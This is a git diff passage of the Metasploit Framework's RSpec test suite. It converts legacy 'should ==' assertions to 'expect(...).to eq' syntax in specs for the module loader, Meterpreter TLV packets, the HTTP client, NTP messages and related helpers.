@existent_namespace_module begin subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| current_constant = Msf::Modules.const_get(relative_name) - current_constant.should == namespace_module + expect(current_constant).to eq namespace_module expect(current_constant).not_to eq @existent_namespace_module raise error_class, error_message @@ -1002,7 +1002,7 @@ RSpec.describe Msf::Modules::Loader::Base do rescue error_class => error end - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module end it 'should re-raise the error' do @@ -1016,18 +1016,18 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with the block returning false' do it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| current_constant = Msf::Modules.const_get(relative_name) - current_constant.should == namespace_module + expect(current_constant).to eq namespace_module expect(current_constant).not_to eq @existent_namespace_module false end - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module end it 'should return false' do @@ -1039,7 +1039,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with the block returning true' do it 'should not restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| true @@ -1074,7 +1074,7 @@ RSpec.describe Msf::Modules::Loader::Base do }.to raise_error(NameError) subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_get(relative_name).should == namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq namespace_module end end @@ -1146,7 +1146,7 @@ RSpec.describe Msf::Modules::Loader::Base do end Msf::Modules.const_defined?(relative_name).should be_truthy - Msf::Modules.const_get(relative_name).should == created_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq created_namespace_module end it 'should return true' do @@ -1258,14 +1258,14 @@ RSpec.describe Msf::Modules::Loader::Base do parent_module.const_defined?(relative_name).should be_truthy current_module = parent_module.const_get(relative_name) - current_module.should == @current_namespace_module + expect(current_module).to eq @current_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) parent_module.const_defined?(relative_name).should be_truthy restored_module = parent_module.const_get(relative_name) - restored_module.should == current_module - restored_module.should == @current_namespace_module + expect(restored_module).to eq current_module + expect(restored_module).to eq @current_namespace_module end it 'should not remove the constant and then set it' do @@ -1296,7 +1296,7 @@ RSpec.describe Msf::Modules::Loader::Base do subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - parent_module.const_get(relative_name).should == @original_namespace_module + expect(parent_module.const_get(relative_name)).to eq @original_namespace_module end end end @@ -1310,7 +1310,7 @@ RSpec.describe Msf::Modules::Loader::Base do subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) parent_module.const_defined?(relative_name).should be_truthy - parent_module.const_get(relative_name).should == @original_namespace_module + expect(parent_module.const_get(relative_name)).to eq @original_namespace_module end end end @@ -1341,7 +1341,7 @@ RSpec.describe Msf::Modules::Loader::Base do usability = 'maybe' metasploit_class = double('Metasploit Class', :is_usable => usability) - subject.send(:usable?, metasploit_class).should == usability + expect(subject.send(:usable?, metasploit_class)).to eq usability end context 'with error from metasploit_class.is_usable' do diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 8bff240c17..493400d3fb 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -57,7 +57,7 @@ RSpec.describe Msf::Modules::Loader::Directory do created_module = module_manager.create(module_full_name) - created_module.name.should == 'MS08-067 Microsoft Server Service Relative Path Stack Corruption' + expect(created_module.name).to eq 'MS08-067 Microsoft Server Service Relative Path Stack Corruption' end context 'with module previously loaded' do @@ -152,13 +152,13 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should return an empty string' do - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + expect(subject.send(:read_module_content, parent_path, type, module_reference_name)).to eq '' end it 'should record the load error' do subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + expect(subject.send(:read_module_content, parent_path, type, module_reference_name)).to eq '' end end end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 95d0318af5..ebb61f47a3 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -133,7 +133,7 @@ RSpec.describe Msf::Modules::Namespace do end it 'should return the metasploit_class' do - subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class + expect(subject.metasploit_class!(module_path, module_reference_name)).to eq metasploit_class end end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index 28b8822ba0..67f581f0b4 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -23,7 +23,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should set minimum_api_version' do - subject.minimum_api_version.should == minimum_api_version + expect(subject.minimum_api_version).to eq minimum_api_version end it 'should include minimum_api_version in error' do @@ -52,7 +52,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should set minimum_core_version' do - subject.minimum_core_version.should == minimum_core_version + expect(subject.minimum_core_version).to eq minimum_core_version end it 'should include minimum_core_version in error' do diff --git a/spec/lib/msf/core/opt_address_range_spec.rb b/spec/lib/msf/core/opt_address_range_spec.rb index d68ef73d48..2ec39453a3 100644 --- a/spec/lib/msf/core/opt_address_range_spec.rb +++ b/spec/lib/msf/core/opt_address_range_spec.rb @@ -45,11 +45,11 @@ RSpec.describe Msf::OptAddressRange do context 'the normalizer' do it 'should handle a call for random IPs' do random_addresses = required_opt.normalize('rand:5') - random_addresses.kind_of?(String).should == true + expect(random_addresses.kind_of?(String)).to eq true ips = random_addresses.split(' ') - ips.count.should == 5 + expect(ips.count).to eq 5 ips.each do |ip| - (ip =~ Rex::Socket::MATCH_IPV4).should == 0 + expect(ip).to match Rex::Socket::MATCH_IPV4 end end end diff --git a/spec/lib/msf/core/opt_enum_spec.rb b/spec/lib/msf/core/opt_enum_spec.rb index 14ccea4cbb..b82d18bc4e 100644 --- a/spec/lib/msf/core/opt_enum_spec.rb +++ b/spec/lib/msf/core/opt_enum_spec.rb @@ -13,11 +13,11 @@ RSpec.describe Msf::OptEnum do context 'the validator' do it 'should return false for a value not in the list' do - subject.valid?('Snap').should == false + expect(subject.valid?('Snap')).to eq false end it 'should return true for a value in the list' do - subject.valid?('Bar').should == true + expect(subject.valid?('Bar')).to eq true end end end diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 8df2a733dc..0c92f54e88 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -18,7 +18,7 @@ RSpec.describe Msf::OptionContainer do subject = described_class.new({ 'thing' => [ foo_class, true, nil, false ] }) - subject["thing"].should == foo_inst + expect(subject["thing"]).to eq foo_inst end diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index 19a8e851cc..4c82ec3604 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -49,7 +49,7 @@ RSpec.describe Msf::Post::Windows::Priv do it "should produce expected plaintext" do decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key) - decrypted.should == plaintext + expect(decrypted).to eq plaintext end end @@ -67,7 +67,7 @@ RSpec.describe Msf::Post::Windows::Priv do end it "should produce expected plaintext" do - subject.decrypt_secret_data(ciphertext, boot_key).should == plaintext + expect(subject.decrypt_secret_data(ciphertext, boot_key)).to eq plaintext end end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index a2debece0a..794f54a5dd 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -57,7 +57,7 @@ RSpec.describe Msf::DBManager::Export do it 'should have module_detail tag for each Mdm::Module::Detail' do nodes = root.xpath('module_detail') - nodes.length.should == module_detail_count + expect(nodes.length).to eq module_detail_count end context 'module_detail' do @@ -79,7 +79,7 @@ RSpec.describe Msf::DBManager::Export do it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do node = module_detail_node.at_xpath('disclosure-date') - DateTime.parse(node.content).should == module_detail.disclosure_date + expect(DateTime.parse(node.content)).to eq module_detail.disclosure_date end end diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index 6ab2499053..5485dabea9 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -39,14 +39,14 @@ RSpec.describe Rex::Parser::NmapXMLStreamParser do host["addrs"].should be_a(Hash) end it "should find the address" do - host["addrs"].keys.length.should == 1 + expect(host["addrs"].keys.length).to eq 1 host["addrs"].should have_key("ipv4") - host["addrs"]["ipv4"].should == "192.168.0.1" + expect(host["addrs"]["ipv4"]).to eq "192.168.0.1" end } REXML::Document.parse_stream(StringIO.new(xml), parser) it "should have found exactly one host" do - total_hosts.should == 1 + expect(total_hosts).to eq 1 end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 2b57f4a098..9eb5918f6b 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -19,9 +19,9 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do end it "should initialise with expected defaults" do - parser.send(:raw).should == "" - parser.send(:hdr_length_left).should == 8 - parser.send(:payload_length_left).should == 0 + expect(parser.send(:raw)).to eq "" + expect(parser.send(:hdr_length_left)).to eq 8 + expect(parser.send(:payload_length_left)).to eq 0 end it "should parse valid raw data into a packet object" do @@ -29,8 +29,8 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do parsed_packet = parser.recv(@sock) end parsed_packet.should be_a Rex::Post::Meterpreter::Packet - parsed_packet.type.should == Rex::Post::Meterpreter::PACKET_TYPE_REQUEST - parsed_packet.method?("test_method").should == true + expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST + expect(parsed_packet.method?("test_method")).to eq true end end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index ce575adceb..216d7c9121 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -47,51 +47,51 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do context "A String TLV" do it "should return the correct TLV type" do - tlv.type.should == Rex::Post::Meterpreter::TLV_TYPE_STRING + expect(tlv.type).to eq Rex::Post::Meterpreter::TLV_TYPE_STRING end it "should return the correct value" do - tlv.value.should == "test" + expect(tlv.value).to eq "test" end context "#type?" do it "should return true for STRING" do - tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == true + expect(tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq true end it "should return false for UINT" do - tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_UINT).should == false + expect(tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_UINT)).to eq false end end context "#value?" do it "should return true for the correct value" do - tlv.value?("test").should == true + expect(tlv.value?("test")).to eq true end it "should return false for an incorrect value" do - tlv.value?("fake").should == false + expect(tlv.value?("fake")).to eq false end end context "#inspect" do it "should return a string representation of the TLV" do tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test\">" - tlv.inspect.should == tlv_to_s + expect(tlv.inspect).to eq tlv_to_s end end context "#to_r" do it "should return the raw bytes of the TLV to send over the wire" do tlv_bytes = "\x00\x00\x00\r\x00\x01\x00\ntest\x00" - tlv.to_r.should == tlv_bytes + expect(tlv.to_r).to eq tlv_bytes end end context "#from_r" do it "should adjust the tlv attributes from the given raw bytes" do tlv.from_r("\x00\x00\x00\r\x00\x01\x00\ntes2\x00") - tlv.value.should == "tes2" + expect(tlv.value).to eq "tes2" end end end @@ -104,12 +104,12 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do ) } it "should have a meta type of String" do - tlv.meta_type?(Rex::Post::Meterpreter::TLV_META_TYPE_STRING).should == true + expect(tlv.meta_type?(Rex::Post::Meterpreter::TLV_META_TYPE_STRING)).to eq true end it "should show the correct type and meta type in inspect" do tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=METHOD meta=STRING value=\"test\">" - tlv.inspect.should == tlv_to_s + expect(tlv.inspect).to eq tlv_to_s end end @@ -118,7 +118,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do Rex::Post::Meterpreter::Tlv.new(Rex::Post::Meterpreter::TLV_TYPE_STRING,5) } it "should return the string version of the number" do - tlv.value.should == "5" + expect(tlv.value).to eq "5" end end @@ -192,28 +192,28 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do end it "should return an empty array for tlvs by default" do - group_tlv.tlvs.should == [] + expect(group_tlv.tlvs).to eq [] end context "#add_tlv" do it "should add to the tlvs array when given basic tlv paramaters" do group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test") - group_tlv.tlvs.first.type.should == Rex::Post::Meterpreter::TLV_TYPE_STRING - group_tlv.tlvs.first.value.should == "test" + expect(group_tlv.tlvs.first.type).to eq Rex::Post::Meterpreter::TLV_TYPE_STRING + expect(group_tlv.tlvs.first.value).to eq "test" end it "should replace any existing TLV of the same type when the replace flag is set to true" do group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test") group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test2", true) - group_tlv.tlvs.count.should == 1 - group_tlv.tlvs.first.value.should == "test2" + expect(group_tlv.tlvs.count).to eq 1 + expect(group_tlv.tlvs.first.value).to eq "test2" end it "should add both if replace is set to false" do group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test") group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test2", false) - group_tlv.tlvs.first.value.should == "test" - group_tlv.tlvs.last.value.should == "test2" + expect(group_tlv.tlvs.first.value).to eq "test" + expect(group_tlv.tlvs.last.value).to eq "test2" end end @@ -224,9 +224,9 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do {'type' => Rex::Post::Meterpreter::TLV_TYPE_STRING, 'value' => "test2"} ] group_tlv.add_tlvs(tlv_array) - group_tlv.tlvs.count.should == 2 - group_tlv.tlvs.first.value.should == "test" - group_tlv.tlvs.last.value.should == "test2" + expect(group_tlv.tlvs.count).to eq 2 + expect(group_tlv.tlvs.first.value).to eq "test" + expect(group_tlv.tlvs.last.value).to eq "test2" end it "should raise an error when given something other than nil or an array" do @@ -263,11 +263,11 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do it "should empty the array of TLV when reset is called" do group_tlv.reset - group_tlv.tlvs.should == [] + expect(group_tlv.tlvs).to eq [] end it "should convert to raw bytes when to_r is called" do - group_tlv.to_r.should == @raw_group + expect(group_tlv.to_r).to eq @raw_group end @@ -275,9 +275,9 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do it "should build the TLV group when given the propper raw bytes" do group_tlv.reset group_tlv.from_r( @raw_group) - group_tlv.tlvs[0].inspect.should == "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test\">" - group_tlv.tlvs[1].inspect.should == "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test2\">" - group_tlv.tlvs[2].inspect.should == "#<Rex::Post::Meterpreter::Tlv type=UINT meta=INT value=5>" + expect(group_tlv.tlvs[0].inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test\">" + expect(group_tlv.tlvs[1].inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test2\">" + expect(group_tlv.tlvs[2].inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=UINT meta=INT value=5>" end end @@ -285,79 +285,79 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do context "#get_tlvs" do it "should return all TLVs of the supplied type" do tlvs = group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_STRING) - tlvs.count.should == 2 - tlvs.first.value.should == "test" - tlvs.last.value.should == "test2" + expect(tlvs.count).to eq 2 + expect(tlvs.first.value).to eq "test" + expect(tlvs.last.value).to eq "test2" end it "should return all TLVs when supplied the ANY TLV type" do tlvs = group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_ANY) - tlvs.count.should == group_tlv.tlvs.count + expect(tlvs.count).to eq group_tlv.tlvs.count end it "should return an empty array for a TLV type that isn't present" do - group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == [] + expect(group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq [] end it "should return an empty array for a nonexistant TLV type" do - group_tlv.get_tlvs(55555555).should == [] + expect(group_tlv.get_tlvs(55555555)).to eq [] end end context "#get_tlv" do it "should return the first TLV of the specified type by default" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == group_tlv.tlvs.first - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_UINT).should == group_tlv.tlvs.last + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq group_tlv.tlvs.first + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_UINT)).to eq group_tlv.tlvs.last end it "should return the correct TLV of the specified type for the given index" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,1).should == group_tlv.tlvs[1] + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,1)).to eq group_tlv.tlvs[1] end it "should return nil if given an out of bounds index" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,5).should == nil + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,5)).to eq nil end it "should return nil if given a non-present TLV type" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == nil + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq nil end end context "#get_tlv_value" do it "should return the value of the first TLV with the given type" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == group_tlv.tlvs.first.value + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq group_tlv.tlvs.first.value end it "should return the correct TLV value of the specified type for the given index" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,1).should == group_tlv.tlvs[1].value + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,1)).to eq group_tlv.tlvs[1].value end it "should return nil if given an out of bounds index" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,5).should == nil + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,5)).to eq nil end it "should return nil if given a non-present TLV type" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == nil + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq nil end end context "#get_tlv_values" do it "should return an array of values for the designated TLV types" do - group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == ["test", "test2"] + expect(group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq ["test", "test2"] end it "should return an empty array for a non-present TLV type" do - group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == [] + expect(group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq [] end end context "#has_tlv?" do it "should return true if the TLV Type is present" do - group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == true + expect(group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq true end it "should return false if the TLV type is not present" do - group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == false + expect(group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq false end end end @@ -405,25 +405,25 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return false for response?" do - packet.response?.should == false + expect(packet.response?).to eq false end it "should evaluate the method correctly" do - packet.method?("test_method").should == true - packet.method?("blah").should == false + expect(packet.method?("test_method")).to eq true + expect(packet.method?("blah")).to eq false end it "should accept new methods" do packet.method= "test_method2" - packet.method?("test_method2").should == true + expect(packet.method?("test_method2")).to eq true end it "should return the correct method" do - packet.method.should == "test_method" + expect(packet.method).to eq "test_method" end it "should not have a result" do - packet.result.should == nil + expect(packet.result).to eq nil end it "should return a valid request id" do @@ -432,9 +432,9 @@ RSpec.describe Rex::Post::Meterpreter::Packet do it "should be created when Packet.create_request is called" do req = Rex::Post::Meterpreter::Packet.create_request("test_method") - req.class.should == Rex::Post::Meterpreter::Packet - req.response?.should == false - req.method?("test_method").should == true + expect(req.class).to eq Rex::Post::Meterpreter::Packet + expect(req.response?).to eq false + expect(req.method?("test_method")).to eq true end it "should return the correct raw byte form of the packet" do @@ -442,8 +442,8 @@ RSpec.describe Rex::Post::Meterpreter::Packet do meth = packet.method raw = packet.to_r packet.from_r(raw) - packet.rid.should == rid - packet.method.should == meth + expect(packet.rid).to eq rid + expect(packet.method).to eq meth end end @@ -459,23 +459,23 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return the correct result" do - packet.result.should == "a-ok" + expect(packet.result).to eq "a-ok" end it "should evaluate result correctly" do - packet.result?("a-ok").should == true - packet.result?("5by5").should == false + expect(packet.result?("a-ok")).to eq true + expect(packet.result?("5by5")).to eq false end it "should accept a new result" do packet.result = "test2" - packet.result.should == "test2" + expect(packet.result).to eq "test2" end it "should be created when Packet.create_response is called" do resp = Rex::Post::Meterpreter::Packet.create_response - resp.class.should == Rex::Post::Meterpreter::Packet - resp.response?.should == true + expect(resp.class).to eq Rex::Post::Meterpreter::Packet + expect(resp.response?).to eq true end end diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 3b55f12249..0d60e84b94 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -12,7 +12,7 @@ RSpec.shared_context "with no evasions" do end it "should return the unmodified uri" do - client_request.send(:set_uri).should == "/" + expect(client_request.send(:set_uri)).to eq "/" end end @@ -161,7 +161,7 @@ RSpec.describe Rex::Proto::Http::ClientRequest do result = things[:result] describe "##{meth}" do it "should return #{result.inspect}" do - client_request.send(meth, *args).should == result + expect(client_request.send(meth, *args)).to eq result end end end @@ -202,10 +202,10 @@ RSpec.describe Rex::Proto::Http::ClientRequest do client_request.opts['pad_get_params'] = true client_request.opts['pad_get_params_count'] = 0 - client_request.to_s.split("&").length.should == vars_get.length + expect(client_request.to_s.split("&").length).to eq vars_get.length client_request.opts['pad_get_params_count'] = 10 - client_request.to_s.split("&").length.should == vars_get.length + 10 + expect(client_request.to_s.split("&").length).to eq vars_get.length + 10 client_request.opts['pad_get_params'] = old end @@ -262,7 +262,7 @@ RSpec.describe Rex::Proto::Http::ClientRequest do describe "#to_s" do it "should produce same values if called multiple times with same options" do - client_request.to_s.should == client_request.to_s + expect(client_request.to_s).to eq client_request.to_s end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index fcb4f5d105..c26bb01ed4 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -38,7 +38,7 @@ RSpec.describe Rex::Proto::Http::Client do describe "#set_config" do it "should respond to #set_config" do - cli.set_config.should == {} + expect(cli.set_config).to eq {} end end @@ -48,9 +48,9 @@ RSpec.describe Rex::Proto::Http::Client do end it "should have a set of default instance variables" do - cli.instance_variable_get(:@hostname).should == ip - cli.instance_variable_get(:@port).should == 80 - cli.instance_variable_get(:@context).should == {} + expect(cli.instance_variable_get(:@hostname)).to eq ip + expect(cli.instance_variable_get(:@port)).to eq 80 + expect(cli.instance_variable_get(:@context)).to eq {} cli.instance_variable_get(:@ssl).should be_falsey cli.instance_variable_get(:@proxies).should be_nil cli.instance_variable_get(:@username).should be_empty @@ -85,14 +85,14 @@ RSpec.describe Rex::Proto::Http::Client do req = cli.request_cgi match = req.to_s.match("Authorization: Basic") match.should be - match.length.should == 1 + expect(match.length).to eq 1 end it "should prefer the value in the header" do req = cli.request_cgi match = req.to_s.match(/Authorization: Basic (.*)$/) match.should be - match.captures.length.should == 1 - match.captures[0].chomp.should == base64 + expect(match.captures.length).to eq 1 + expect(match.captures[0].chomp).to eq base64 end end end @@ -142,7 +142,7 @@ RSpec.describe Rex::Proto::Http::Client do cli.send_recv(req) # Make sure it didn't modify the argument - opts.should == { "username" => user, "password" => pass} + expect(opts).to eq({ "username" => user, "password" => pass}) end end @@ -182,7 +182,7 @@ RSpec.describe Rex::Proto::Http::Client do u = "user1" p = "pass1" b64 = ["#{u}:#{p}"].pack("m*").strip - cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + expect(cli.basic_auth_header("user1","pass1")).to eq "Basic #{b64}" end it "should perform digest authentication", :skip => excuse_needs_auth do diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb index 2e7e4ba873..fb3ebede91 100644 --- a/spec/lib/rex/proto/http/packet_spec.rb +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -25,10 +25,10 @@ RSpec.describe Rex::Proto::Http::Packet do end it "should have correct headers" do - subject["foo"].should == "Bar" - subject["Content-Length"].should == body.length.to_s - subject.cmd_string.should == "GET / HTTP/1.0\r\n" - subject.body.should == body + expect(subject["foo"]).to eq "Bar" + expect(subject["Content-Length"]).to eq body.length.to_s + expect(subject.cmd_string).to eq "GET / HTTP/1.0\r\n" + expect(subject.body).to eq body end end @@ -42,10 +42,10 @@ RSpec.describe Rex::Proto::Http::Packet do end it "should have correct headers" do - subject["foo"].should == "Bar" - subject["Content-Length"].should == body.length.to_s - subject.cmd_string.should == "HTTP/1.0 200 OK\r\n" - subject.body.should == body + expect(subject["foo"]).to eq "Bar" + expect(subject["Content-Length"]).to eq body.length.to_s + expect(subject.cmd_string).to eq "HTTP/1.0 200 OK\r\n" + expect(subject.body).to eq body end end diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb index 094b319ab7..6e46adf19e 100644 --- a/spec/lib/rex/proto/ntp/modes_spec.rb +++ b/spec/lib/rex/proto/ntp/modes_spec.rb @@ -24,12 +24,12 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates control NTP messages correctly' do - @control_raw.should == @control.to_s + expect(@control_raw).to eq @control.to_s end it 'Parses control NTP messages correctly' do parsed_raw = Rex::Proto::NTP::NTPControl.new(@control_raw) - @control.should == parsed_raw + expect(@control).to eq parsed_raw end end @@ -47,12 +47,12 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates generic NTP messages correctly' do - @generic_raw.should == @generic.to_s + expect(@generic_raw).to eq @generic.to_s end it 'Parses generic NTP messages correctly' do parsed_raw = Rex::Proto::NTP::NTPGeneric.new(@generic_raw) - @generic.should == parsed_raw + expect(@generic).to eq parsed_raw end end @@ -72,12 +72,12 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates private NTP messages correctly' do - @private_raw.should == @private.to_s + expect(@private_raw).to eq @private.to_s end it 'Parses private NTP messages correctly' do parsed_raw = Rex::Proto::NTP::NTPPrivate.new(@private_raw) - @private.should == parsed_raw + expect(@private).to eq parsed_raw end end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 5520aacd67..9e73eb37cb 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -44,7 +44,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do { :min_length=>3, :max_length=>3 } end it "should return the same thing for subsequent calls" do - rig.get(:rspec).should == rig.get(:rspec) + expect(rig.get(:rspec)).to eq rig.get(:rspec) end it "should not return the same for different names" do # Statistically... @@ -53,7 +53,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do count.times do |n| a.add rig.get(n) end - a.size.should == count + expect(a.size).to eq count end context "with an exhausted set" do @@ -87,30 +87,30 @@ RSpec.describe Rex::RandomIdentifierGenerator do it "should allow smaller than minimum length" do value = "a"*(options[:min_length]-1) rig.store(:spec, value) - rig.get(:spec).should == value + expect(rig.get(:spec)).to eq value end it "should allow bigger than maximum length" do value = "a"*(options[:max_length]+1) rig.store(:spec, value) - rig.get(:spec).should == value + expect(rig.get(:spec)).to eq value end it "should raise if value is not unique" do value = "a"*(options[:max_length]+1) rig.store(:spec0, value) - rig.get(:spec0).should == value + expect(rig.get(:spec0)).to eq value expect { rig.store(:spec1, value) 